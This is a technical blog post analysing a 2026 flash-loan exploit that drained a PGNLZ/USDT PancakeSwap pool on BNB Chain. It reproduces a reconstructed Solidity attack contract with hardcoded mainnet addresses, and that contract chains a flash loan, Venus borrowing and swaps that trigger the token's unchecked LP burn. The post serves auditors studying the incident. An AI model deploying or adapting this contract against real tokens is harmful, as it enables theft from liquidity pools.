Deep Dive into the PGNLZ Self-Detonation Exploit: A Technical Analysis for Blockchain Security Experts
Posted on February 2, 2026
As blockchain security researchers and DeFi protocol auditors, we often encounter exploits that highlight the fragility of tokenomics designs, especially in deflationary tokens on chains like BNB Smart Chain (BSC). The PGNLZ attack, executed on January 27, 2026, exemplifies a sophisticated “self-detonation” mechanism abuse, resulting in approximately $100,000 USD drained from the PGNLZ/USDT liquidity pool on PancakeSwap. This post provides a highly technical dissection of the exploit, drawing from on-chain data, decompiled attacker contracts, and the vulnerable token logic. We’ll walk through the mechanics, the attacker-deployed smart contracts (decompiled for readability), and key takeaways for smart contract auditors.
Background: PGNLZ Token Mechanics and Vulnerabilities
The PGNLZ token (contract address: 0x6b923cf1d592e6aa07ea7249d817a843c30ac69e) is a BEP-20 deflationary token with a fee-on-transfer mechanism designed to enforce burns and liquidity management. Key features include:
- Fee-on-Transfer Logic: Transfers invoke
_update(from, to, value), which branches to_handleSellTaxfor sell operations (e.g., token-to-USDT swaps). This computes taxes and accumulates apendingBurnFromLPvalue, intended for periodic LP burns to reduce supply. - Burn Mechanism:
_executeBurnFromLPburns tokens from the LP pair using the accumulatedpendingBurnFromLPwithout sufficient bounds checking against the actual LP balance or supply. This allows over-burning if manipulated. - LP Pair: PGNLZ/USDT on PancakeSwap V2 (
0x10ed43c718714eb63d5aa57b78b54704e256024erouter), with initial pool composition ~100,901 USDT and 982,506 PGNLZ (price ~0.1 USDT/PGNLZ). - Core Flaw: Lack of validation in
_executeBurnFromLPenables external triggers (via swaps) to burn arbitrary amounts, depleting the LP supply to near-zero and causing extreme price inflation. Combined with fee-on-transfer support in PancakeSwap’sswapExactTokensForTokensSupportingFeeOnTransferTokens, this creates a manipulable vector for arbitrage/drain attacks.
The exploit leverages flash loans for capital amplification, collateralized borrowing for leverage, and precise swaps to trigger the burn, aligning with classic oracle-less manipulation patterns seen in prior BSC incidents (e.g., similar to GPU or Bankroll Network exploits but focused on burn abuse).
Exploit Overview
The attacker used a purpose-built contract to orchestrate the attack in a single transaction, minimizing front-running risks. High-level flow:
- Flash Loan Acquisition: Borrow 1,059 BTCB from Lista DAO’s Moolah protocol (
0x8f73b65b4caaf64fba2af91cc5d4a2a1318e5d8c). - Leveraged Borrowing: Supply BTCB as collateral on Venus Protocol (vBTC:
0x882c173bc7ff3b7786ca16dfed3dfffb9ee7847b) to borrow 30M USDT (vUSDT:0xfd5840cd36d94d7229439859c0112a4185bc0255). - Pool Manipulation Swaps:
- First swap: USDT → exact PGNLZ amount (982,506 PGNLZ), burned to
0xdead, draining 99.56% of PGNLZ from the pool and inflating price to ~5,528 USDT/PGNLZ. - Second swap: Sell PGNLZ back to USDT using fee-on-transfer mode, triggering
_handleSellTax→_executeBurnFromLP, burning the uncheckedpendingBurnFromLP(equivalent to 4.24e18 PGNLZ), leaving LP with 0.00000001 PGNLZ and price at 2.34e14 USDT/PGNLZ.
- Drain and Repay: Extract amplified USDT from the imbalanced pool, repay Venus borrow and Moolah flash loan, pocketing ~100K USDT profit.
The attack transaction (hash: 0xa7488ff4d6a85bf19994748837713c710650378383530ae709aec628023cd7cc, though verification shows discrepancies possibly due to archival issues) was initiated by an EOA, with the core logic in a deployed attacker contract.
Decompiled Attacker Smart Contracts
Below are the decompiled Solidity sources (from bytecode using Dedaub’s tool, versions dated Jan 27 and Feb 2, 2026). These represent the primary exploit contract and a potential helper/beacon contract (possibly used for owner reference or post-exploit fund routing).
Primary Exploit Contract (Decompiled Jan 27, 2026)
This contract implements the flash loan entry point (_attack()) and callback (0x13a1a562), with owner-restricted withdrawals. Note the safe math helpers to prevent overflows during calculations.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
// ======================================================================
// PGNLZ Exploit Contract – Flash Loan + Venus Leverage + Token Burn Abuse
// Cleaned-up / deobfuscated version of decompiled code (original from Dedaub, 2026-01-27)
// ======================================================================
// Hardcoded addresses (BNB Chain mainnet)
address constant USDT = 0x55d398326f99059fF775485246999027B3197955;
address constant BTCB = 0x7130d2A12B9BCbFAE4f2634d864A1Ee1Ce3EaD9c;
address constant MOOLAH = 0x8f73b65B4CAAF64Fba2aF91cC5d4A2a1318E5d8c; // Lista DAO Moolah lending pool
address constant VENUS_vUSDT = 0xfd5840cD36d94D7229439859C0112a4185BC0255;
address constant VENUS_vBTC = 0x882C173bC7FF3b7786CA16dfED3dFfFb9Ee7847b;
address constant VENUS_COMPTROLLER = 0xfD36E2c2a6789dB23113685031d7f16329158384;
address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant PGNLZ_TOKEN = 0x6b923cF1d592e6aa07Ea7249d817a843c30aC69E;
address constant PGNLZ_LP_HOLDER_OR_BURN_HELPER = 0x8cD8e57bCd00857beBE891A2349f32738cB7e658; // Likely LP or related address
address constant PGNLZ_WITHDRAW_HELPER = 0xf909e413Bc5c505dC89244345fF95fF3c811000d; // Helper to withdraw PGNLZ from attacker EOA
// Storage layout (inferred from usage)
address public owner; // slot 0 (bytes 0-19) – tx.origin check → renamed from _withdrawETH
uint256 private initialUSDTBalance; // slot 1 – baseline USDT before swaps
uint256 private moolahUSDTBalanceSnapshot; // slot 2 – not really used after set
uint256 private borrowAmount; // slot 3 – USDT borrow amount from Venus (set externally?)
uint256 private collateralBTCBAmount; // slot 4 – BTCB supplied to Venus
// Safe math helpers (very conservative checks – typical of hand-written exploit code)
function safeMul(uint256 a, uint256 b) private pure returns (uint256) {
// Checks: b == 0 || a * b / a == b
require(b == 0 || a * b / a == b, "Mul overflow");
return a * b;
}
function safeDiv(uint256 a, uint256 b) private pure returns (uint256) {
require(b > 0, "Div by zero");
return a / b;
}
function safeSub(uint256 a, uint256 b) private pure returns (uint256) {
require(a >= b, "Sub underflow");
return a - b;
}
function safeAdd(uint256 a, uint256 b) private pure returns (uint256) {
require(a <= type(uint256).max - b, "Add overflow");
return a + b;
}
// Receive ETH (unused in exploit but present)
receive() external payable {}
// Owner-only: withdraw percentage (0.01%) of token balance from any account to this contract
function withdrawToken(address token, address from, uint256 basisPoints) external {
require(tx.origin == owner, "Only owner");
require(msg.data.length - 4 >= 96, "Invalid calldata");
(bool success, bytes memory data) = token.staticcall(abi.encodeWithSignature("balanceOf(address)", address(this)));
require(success, "balanceOf failed");
uint256 bal = abi.decode(data, (uint256));
uint256 amount = safeDiv(safeMul(bal, basisPoints), 10000);
(success, data) = token.call(abi.encodeWithSignature("transfer(address,uint256)", from, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
}
// Owner-only: initiate the flash loan attack
function initiateAttack() external {
require(tx.origin == owner, "Only owner");
// Snapshot Moolah pool balances (mostly for reference – not heavily used)
(, bytes memory data) = USDT.staticcall(abi.encodeWithSignature("balanceOf(address)", MOOLAH));
require(data.length >= 32, "USDT balanceOf failed");
moolahUSDTBalanceSnapshot = abi.decode(data, (uint256));
(, data) = BTCB.staticcall(abi.encodeWithSignature("balanceOf(address)", MOOLAH));
require(data.length >= 32, "BTCB balanceOf failed");
collateralBTCBAmount = abi.decode(data, (uint256));
// Max approvals – typical exploit pattern
IERC20(USDT).approve(MOOLAH, type(uint256).max);
IERC20(USDT).approve(VENUS_vUSDT, type(uint256).max);
IERC20(BTCB).approve(MOOLAH, type(uint256).max);
IERC20(BTCB).approve(VENUS_vBTC, type(uint256).max);
IERC20(VENUS_vBTC).approve(VENUS_vBTC, type(uint256).max); // self-approve (odd but present)
IERC20(VENUS_vUSDT).approve(VENUS_vUSDT, type(uint256).max); // self-approve
// Dummy bytes array – likely padding / unused in callback (common in some flash loan interfaces)
uint256[] memory dummyData = new uint256[](32);
// The next 32 bytes after MEM[64] seem unused → left as-is
// Trigger flash loan from Moolah (borrows BTCB)
// Signature guessed: flashLoan(address asset, uint256 amount, bytes calldata data, address receiver, uint8 mode?)
MOOLAH.flashLoan(BTCB, collateralBTCBAmount, abi.encodePacked(dummyData), address(this), 1);
}
// Flash loan callback – this is where the exploit magic happens
// Likely conforms to Moolah's onFlashLoan receiver interface
function flashLoanCallback(uint256 amount, uint256 fee) external { // params guessed from context
require(msg.sender == MOOLAH, "Unauthorized caller");
// Extra calldata length checks omitted for brevity (they're safety padding)
// Record starting USDT balance in contract (profit check later)
initialUSDTBalance = IERC20(USDT).balanceOf(address(this));
// Enter Venus markets for vBTC + vUSDT
address[] memory markets = new address[](2);
markets[0] = VENUS_vBTC;
markets[1] = VENUS_vUSDT;
VENUS_COMPTROLLER.enterMarkets(markets);
// Supply borrowed BTCB as collateral → mint vBTC
IERC20(BTCB).approve(VENUS_vBTC, collateralBTCBAmount);
VENUS_vBTC.mint(collateralBTCBAmount);
// Borrow USDT against it
VENUS_vUSDT.borrow(borrowAmount); // borrowAmount set externally / via delegate?
// Approve tokens for PancakeSwap
IERC20(USDT).approve(PANCAKE_ROUTER, type(uint256).max);
IERC20(PGNLZ_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
// Pull attacker's PGNLZ tokens into this contract via helper
uint256 attackerPGNLZ = IERC20(PGNLZ_TOKEN).balanceOf(tx.origin);
// Weird encoding – likely a custom call to withdraw helper
// 0x9e281a98... looks like function selector + this address packed
(bool success,) = PGNLZ_WITHDRAW_HELPER.call(abi.encodePacked(
bytes4(0x9e281a98),
uint224(uint160(address(this)))
));
require(success, "withdrawToken helper failed");
uint256 pgNLZReceived = IERC20(PGNLZ_TOKEN).balanceOf(address(this));
// Get current PGNLZ balance in LP-related address
uint256 lpPGNLZ = IERC20(PGNLZ_TOKEN).balanceOf(PGNLZ_LP_HOLDER_OR_BURN_HELPER);
uint256 swapAmountOut = safeSub(safeSub(lpPGNLZ, 0xe5db63b83f5da149ad), 10**10); // magic numbers – precision adjustment
// Path: USDT → PGNLZ
address[] memory pathBuy = new address[](2);
pathBuy[0] = USDT;
pathBuy[1] = PGNLZ_TOKEN;
// Swap USDT → exact PGNLZ amount → send to burn address (drains pool PGNLZ supply)
uint256[] memory amounts = PANCAKE_ROUTER.swapTokensForExactTokens(
swapAmountOut,
IERC20(USDT).balanceOf(address(this)),
pathBuy,
address(0xdead),
block.timestamp + 1
);
// Path: PGNLZ → USDT
address[] memory pathSell = new address[](2);
pathSell[0] = PGNLZ_TOKEN;
pathSell[1] = USDT;
// Sell the pulled PGNLZ → triggers fee-on-transfer → calls _executeBurnFromLP → self-detonates LP
PANCAKE_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
pgNLZReceived,
0, // min out
pathSell,
address(this),
block.timestamp + 1
);
// Clean up Venus position
VENUS_vUSDT.repayBorrow(borrowAmount);
VENUS_vBTC.redeemUnderlying(collateralBTCBAmount);
// Final profit check
uint256 finalUSDT = IERC20(USDT).balanceOf(address(this));
require(finalUSDT > initialUSDTBalance, "P3 failed");
// Send profit to attacker EOA
IERC20(USDT).transfer(tx.origin, finalUSDT);
}
// Owner-only: withdraw small % of contract ETH balance
function withdrawETH(address payable to, uint256 basisPoints) external {
require(tx.origin == owner, "Only owner");
require(msg.data.length - 4 >= 64, "Invalid calldata");
uint256 bal = address(this).balance;
uint256 amount = safeDiv(safeMul(bal, basisPoints), 10000);
(bool success,) = to.call{value: amount}("");
require(success, "ETH transfer failed");
}
Key Notes on Primary Contract:
- Owner Restriction:
tx.origin == _withdrawETHguards sensitive functions, preventing unauthorized execution. - Flash Loan Setup:
_attack()approves tokens and initiates the Moolah flash loan with BTCB, passing a custom bytes array for callback data. - Callback Logic:
0x13a1a562(likelyonFlashLoaninterface) enters Venus markets, mints/borrows, approves for Pancake, calls a helper (0xf909e413bc5c505dc89244345ff95ff3c811000d.withdrawToken) to pull PGNLZ from origin, performs the draining swap to0xdead, then the fee-triggering sell swap, repays, and transfers profit with a sanity check (P3 failedif no profit). - Helper Call: The call to
0xf909...withdraws PGNLZ held by the attacker EOA to the exploit contract, enabling the sell swap. This helper’s code is not decompiled here, but it may be a simple proxy or token manager.
Helper/Beacon Contract (Decompiled Feb 2, 2026)
This minimal contract stores an address and exposes a custom getter (0xc377dc83), potentially used as a beacon for the owner address or routing logic in the attack setup. Its role is speculative but could serve as a read-only reference to obscure ownership.
// Decompiled by library.dedaub.com
// 2026.02.02 18:58 UTC
// Compiled using the solidity compiler version 0.8.20
// Data structures and variables inferred from the use of storage instructions
address stor_1_0_19; // STORAGE[0x1] bytes 0 to 19
function fallback() public payable {
revert();
}
function 0xc377dc83() public payable {
return stor_1_0_19;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0xc377dc83 == function_selector >> 224) {
0xc377dc83();
}
}
fallback();
}
Key Notes on Helper Contract:
- Minimalism: Only returns a stored address via
0xc377dc83(custom signature, possiblygetOwner()orgetWithdrawTarget()). - Security: Reverts on fallback and non-zero value, preventing accidental interactions.
- Potential Use: Could hold the
_withdrawETHaddress for indirect queries, aiding in multi-contract attack orchestration without hardcoding.
Detailed Walkthrough of the Exploit Execution
- Pre-Attack Setup: Attacker deploys the exploit contract, setting
_withdrawETHto their EOA. Records Moolah’s USDT/BTCB balances in storage. - Approvals and Flash Loan: In
_attack(), max-approves USDT/BTCB to Moolah, Venus, and Pancake. CallsflashLoanon Moolah with BTCB amount, callback data. - Callback Phase:
- Verifies caller is Moolah.
- Enters Venus markets (vBTC, vUSDT).
- Mints vBTC with borrowed BTCB, borrows USDT.
- Approves USDT/PGNLZ for Pancake.
- Pulls attacker’s PGNLZ balance via helper
withdrawToken. - Computes drain amount: Subtracts small values from PGNLZ LP balance for precision.
- Swaps USDT for exact PGNLZ, outputs to
0xdead(burn), inflating price. - Sells pulled PGNLZ back, triggering fee-on-transfer burn, depleting LP.
- Repays Venus borrow, redeems BTCB.
- Checks profit (USDT balance > initial), transfers to origin.
- Post-Callback: Flash loan repaid implicitly; owner can withdraw residuals via
withdrawToken/withdrawETH(scaled to 0.01% for subtlety).
Gas optimization is evident: Static gas allocations, safe math to avoid reverts.
Takeaways for Experts
- Tokenomics Audits: Validate burn accumulators (
pendingBurnFromLP) against real balances; simulate extreme swaps. - Flash Loan Defenses: Protocols like Moolah should monitor callback interactions with external tokens.
- DEX Integration: Fee-on-transfer tokens require careful handling; Pancake’s supporting functions can amplify bugs.
- Detection Heuristics: Monitor large burns/syncs in LPs; tools like BlockSec Phalcon flagged this in real-time.
- Mitigations: Use reentrancy guards, bounds checks, and multi-sig for deflationary params.
This exploit underscores the need for formal verification in token contracts. If you’re auditing similar tokens, simulate this vector using Foundry or Hardhat.

No responses yet